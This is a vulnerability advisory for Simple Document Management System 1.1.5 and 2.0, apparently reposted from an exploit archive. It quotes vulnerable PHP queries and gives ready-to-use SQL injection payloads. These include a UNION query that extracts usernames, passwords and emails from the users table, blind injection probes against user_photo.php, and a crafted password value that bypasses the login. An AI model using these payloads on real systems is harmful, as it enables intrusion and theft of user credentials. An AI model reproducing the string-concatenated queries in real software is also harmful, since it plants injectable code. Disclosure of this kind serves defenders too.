Simple Document Management System 1.1.5 / 2.0 SQL Injection Vulnerability

Simple Document Management System 1.1.5 / 2.0 Multiple Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

twitter: @JossGongora

contact: sys-project[at]hotmail[dot]com
website: http://www.hack0wn.com/

download: http://mirror.us.cc.com.au/pub/cafuego/sdms

-----------
version 2.0
-----------

~~ [Multiple SQL]

/list.php?folder_id=['foo]
/detail.php?doc_id=['foo]

<code>
line 13: if(isset($_GET['folder_id'])) $folder_id = $_GET['folder_id'];
         ...
line 48: if(isset($order)) {
         $query = "SELECT id,name FROM folders WHERE parent=$folder_id ORDER BY ". rawurldecode($order);
         } else {
         $query = "SELECT id,name FROM folders WHERE parent=$folder_id";
         }
</code>

.xpl! :: /list.php?folder_id=-10+union+all+select+1,1,1,concat_ws(char(58),user,pass,name,email),1,1,1,1,1,1,0+from+users--


~~ [Blind]

/user_photo.php?view=[foo]

<code>
$query = "SELECT photo,mime FROM users_info WHERE id=".$_GET['view'];
  $res = mysql_query($query, $sql);
  if( mysql_num_rows($res) == 1 ) {
    $row = mysql_fetch_array($res);
    header( "Content-type: $row[mime]" );
    echo "". base64_decode($row[photo]) ."";
  } else {
    echo "Badness!\n";
  }
</code>

.poc! :: /user_photo.php?view=2+and+1=1
         /user_photo.php?view=2+and+1=2


-------------
version 1.1.5
-------------

~~ [Auth Bypass]

/login.php

<code>
  $result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'");
  $row = @mysql_fetch_array($result);
  if( $row[0] != 0 ) {
      header("Location: index.php");
      exit;
  }

  $result = @mysql_query("SELECT id,name FROM users WHERE user='$login'");
  $row = @mysql_fetch_array($result);
  $id = $row[id];
  $name = $row[name];
</code>

.xpl! :: user: Admin
         password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users --


 __h0__



#  0day.today [2018-03-14]  #